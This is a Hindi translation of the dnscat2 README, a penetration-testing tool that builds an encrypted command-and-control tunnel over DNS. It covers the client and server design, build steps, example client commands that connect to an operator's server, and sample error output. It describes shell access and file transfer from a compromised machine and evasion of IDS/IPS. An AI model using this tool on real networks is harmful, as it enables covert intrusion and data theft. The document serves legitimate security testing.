
DNS प्रोटोकॉल पर एन्क्रिप्टेड कमांड-एंड-कंट्रोल टनल। पेनिट्रेशन टेस्टिंग के लिए गुप्त C&C चैनल बनाता है, DNS क्वेरी के माध्यम से फ़ाइल ट्रांसफ़र, शेल एक्सेस और पोर्ट फ़ॉरवर्डिंग क्षमताओं के साथ।
***** नोट: .zip डाउनलोड के लिए पासवर्ड सभी "password" है! *****
dnscat2 में आपका स्वागत है, एक DNS सुरंग जो आपको बीमार नहीं करेगी और न ही मारेगी!
यह उपकरण DNS प्रोटोकॉल पर एक एन्क्रिप्टेड कमांड-एंड-कंट्रोल (C&C) चैनल बनाने के लिए डिज़ाइन किया गया है, जो लगभग हर नेटवर्क से बाहर निकलने के लिए एक प्रभावी सुरंग है।
इस README फ़ाइल में आपको आरंभ करने और चलाने के लिए आवश्यक सब कुछ होना चाहिए! यदि आप प्रोटोकॉल, कोड की संरचना, भविष्य की योजनाओं, या अन्य गूढ़ चीज़ों में गहराई से रुचि रखते हैं, तो doc/ फ़ोल्डर देखें।
यह BSD लाइसेंस के तहत जारी किया गया है। अधिक जानकारी के लिए LICENSE.md देखें।
dnscat2 दो भागों में आता है: क्लाइंट और सर्वर।
क्लाइंट को एक समझौता किए गए मशीन पर चलाने के लिए डिज़ाइन किया गया है। यह C में लिखा गया है और इसमें न्यूनतम संभव निर्भरताएँ हैं। इसे लगभग कहीं भी चलना चाहिए (यदि आपको कोई ऐसा सिस्टम मिलता है जहाँ यह संकलित या चलता नहीं है, तो कृपया एक टिकट दर्ज करें, विशेष रूप से यदि आप उक्त सिस्टम तक पहुँच प्राप्त करने में मेरी मदद कर सकते हैं)।
जब आप क्लाइंट चलाते हैं, तो आप आमतौर पर एक डोमेन नाम निर्दिष्ट करते हैं। सभी अनुरोध स्थानीय DNS सर्वर को भेजे जाएँगे, जो तब उस डोमेन के आधिकारिक DNS सर्वर पर पुनर्निर्देशित होते हैं (जिस पर आपका, संभवतः, नियंत्रण है)।
यदि आपके पास एक आधिकारिक DNS सर्वर नहीं है, तो आप UDP/53 (या जो भी आप चुनें) पर सीधे कनेक्शन का उपयोग कर सकते हैं। वे तेज़ होंगे, और फिर भी एक सामान्य दर्शक को DNS ट्रैफ़िक की तरह दिखेंगे, लेकिन पैकेट लॉग में यह अधिक स्पष्ट है (सभी डोमेन "dnscat." से उपसर्गित होते हैं, जब तक कि आप स्रोत को हैक न करें)। यह मोड अक्सर फ़ायरवॉल द्वारा अवरुद्ध किया जाएगा।
सर्वर को एक आधिकारिक DNS सर्वर पर चलाने के लिए डिज़ाइन किया गया है। यह रूबी में है, और कई अलग-अलग जेम्स पर निर्भर करता है। जब आप इसे चलाते हैं, तो क्लाइंट की तरह ही, आप निर्दिष्ट करते हैं कि इसे किस डोमेन (डोमेन) के लिए सुनना चाहिए, इसके अलावा UDP/53 पर सीधे भेजे गए संदेशों को सुनने के लिए भी। जब यह उन डोमेन में से किसी एक के लिए ट्रैफ़िक प्राप्त करता है, तो यह एक तार्किक कनेक्शन स्थापित करने का प्रयास करता है। यदि इसे अन्य ट्रैफ़िक प्राप्त होता है, तो यह डिफ़ॉल्ट रूप से इसे अनदेखा कर देता है, लेकिन इसे अपस्ट्रीम भी अग्रेषित कर सकता है।
दोनों भागों के लिए विस्तृत निर्देश नीचे दिए गए हैं।
dnscat2 एक विशेष उद्देश्य: कमांड और कंट्रोल के लिए डिज़ाइन किए जाने के कारण अन्य DNS टनलिंग प्रोटोकॉल से अलग होने का प्रयास करता है।
यह आपको होटल नेटवर्क से बाहर निकालने या हवाई जहाज पर मुफ्त इंटरनेट दिलाने के लिए डिज़ाइन नहीं किया गया है। और यह केवल TCP को टनल नहीं करता है।
यह बिना किसी प्रोटोकॉल के, किसी भी डेटा को टनल कर सकता है। जिसका अर्थ है कि यह फ़ाइलें अपलोड और डाउनलोड कर सकता है, यह एक शेल चला सकता है, और यह उन कामों को अच्छी तरह से कर सकता है। यह संभावित रूप से TCP को भी टनल कर सकता है, लेकिन वह केवल एक पेन-टेस्टिंग टूल के संदर्भ में जोड़ा जाएगा (अर्थात, किसी नेटवर्क में TCP को टनल करना), न कि एक सामान्य प्रयोजन टनलिंग टूल के रूप में। वह पहले ही किया जा चुका है, यह (मेरे लिए) दिलचस्प नहीं है।
यह डिफ़ॉल्ट रूप से एन्क्रिप्टेड भी है। मेरा मानना है कि कोई अन्य सार्वजनिक DNS टनल सभी ट्रैफ़िक को एन्क्रिप्ट नहीं करता है!
यहाँ कुछ महत्वपूर्ण लिंक हैं:
dnscat2 के पीछे का सिद्धांत सरल है: यह DNS प्रोटोकॉल पर एक सुरंग बनाता है।
क्यों? क्योंकि DNS में एक अद्भुत गुण है: यह सर्वर से सर्वर तक अपना रास्ता बनाएगा जब तक कि यह पता न लगा ले कि इसे कहाँ जाना है।
इसका मतलब है कि dnscat के लिए एक सुरक्षित नेटवर्क से ट्रैफ़िक बाहर निकालने के लिए, इसे बस एक DNS सर्वर को संदेश भेजने होंगे, जो खुशी-खुशी DNS नेटवर्क के माध्यम से चीजों को तब तक अग्रेषित करेगा जब तक वह आपके DNS सर्वर तक नहीं पहुँच जाता।
यह, निश्चित रूप से, मानता है कि आपके पास एक आधिकारिक DNS सर्वर तक पहुँच है। dnscat2 "प्रत्यक्ष" कनेक्शनों का भी समर्थन करता है - अर्थात, एक dnscat क्लाइंट चलाना जो सीधे आपके IP पते और UDP पोर्ट 53 (डिफ़ॉल्ट रूप से) पर आपके dnscat से जुड़ता है। ट्रैफ़िक अभी भी DNS ट्रैफ़िक जैसा दिखता है, और मूर्ख IDS/IPS सिस्टम से बच सकता है, लेकिन फिर भी फ़ायरवॉल द्वारा रोके जाने की संभावना है।
यदि आप स्पष्ट नहीं हैं कि एक आधिकारिक DNS सर्वर कैसे सेट अप करें, तो यह एक ऐसी चीज़ है जिसे आपको डोमेन प्रदाता के साथ सेट अप करना होगा। izhan ने सहायतापूर्वक आपके लिए एक लिखा है!
क्लाइंट को संकलित करना काफी सीधा होना चाहिए - संकलित करने के लिए आपको बस make/gcc (Linux के लिए) या Cygwin या Microsoft Visual Studio (Windows के लिए) की आवश्यकता होगी। ये हैं Linux पर कमांड:
$ git clone https://github.com/iagox86/dnscat2.git
$ cd dnscat2/client/
$ make
Windows पर, Visual Studio में client/win32/dnscat2.vcproj लोड करें और "build" दबाएँ। मैंने इसे Visual Studio 2008 पर बनाया और परीक्षण किया - जब तक मुझे एक नए संस्करण की मुफ्त वैध प्रति नहीं मिल जाती, मैं संभवतः उसी पर टिका रहूँगा। :)
यदि संकलन विफल होता है, तो कृपया मेरे github पेज पर एक बग दर्ज करें! कृपया अपने सिस्टम के बारे में विवरण भेजें।
आप बिना किसी फ़्लैग के इसे चलाकर सत्यापित कर सकते हैं कि dnscat2 सफलतापूर्वक संकलित हुआ है; आप देखेंगे कि यह आपके कॉन्फ़िगर किए गए DNS सर्वर के साथ एक DNS सुरंग शुरू करने का प्रयास कर रहा है (जो विफल होगा):
$ ./dnscat
Starting DNS driver without a domain! This will only work if you
are directly connecting to the dnscat2 server.
You'll need to use --dns server=<server> if you aren't.
** WARNING!
*
* It looks like you're running dnscat2 with the system DNS server,
* and no domain name!*
* That's cool, I'm not going to stop you, but the odds are really,
* really high that this won't work. You either need to provide a
* domain to use DNS resolution (requires an authoritative server):
*
* dnscat mydomain.com
*
* Or you have to provide a server to connect directly to:
*
* dnscat --dns=server=1.2.3.4,port=53
*
* I'm going to let this keep running, but once again, this likely
* isn't what you want!
*
** WARNING!
Creating DNS driver:
domain = (null)
host = 0.0.0.0
port = 53
type = TXT,CNAME,MX
server = 4.2.2.1
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: DNS: RCODE_NAME_ERROR
[[ ERROR ]] :: The server hasn't returned a valid response in the last 10 attempts.. closing session.
[[ FATAL ]] :: There are no active sessions left! Goodbye!
[[ WARNING ]] :: Terminating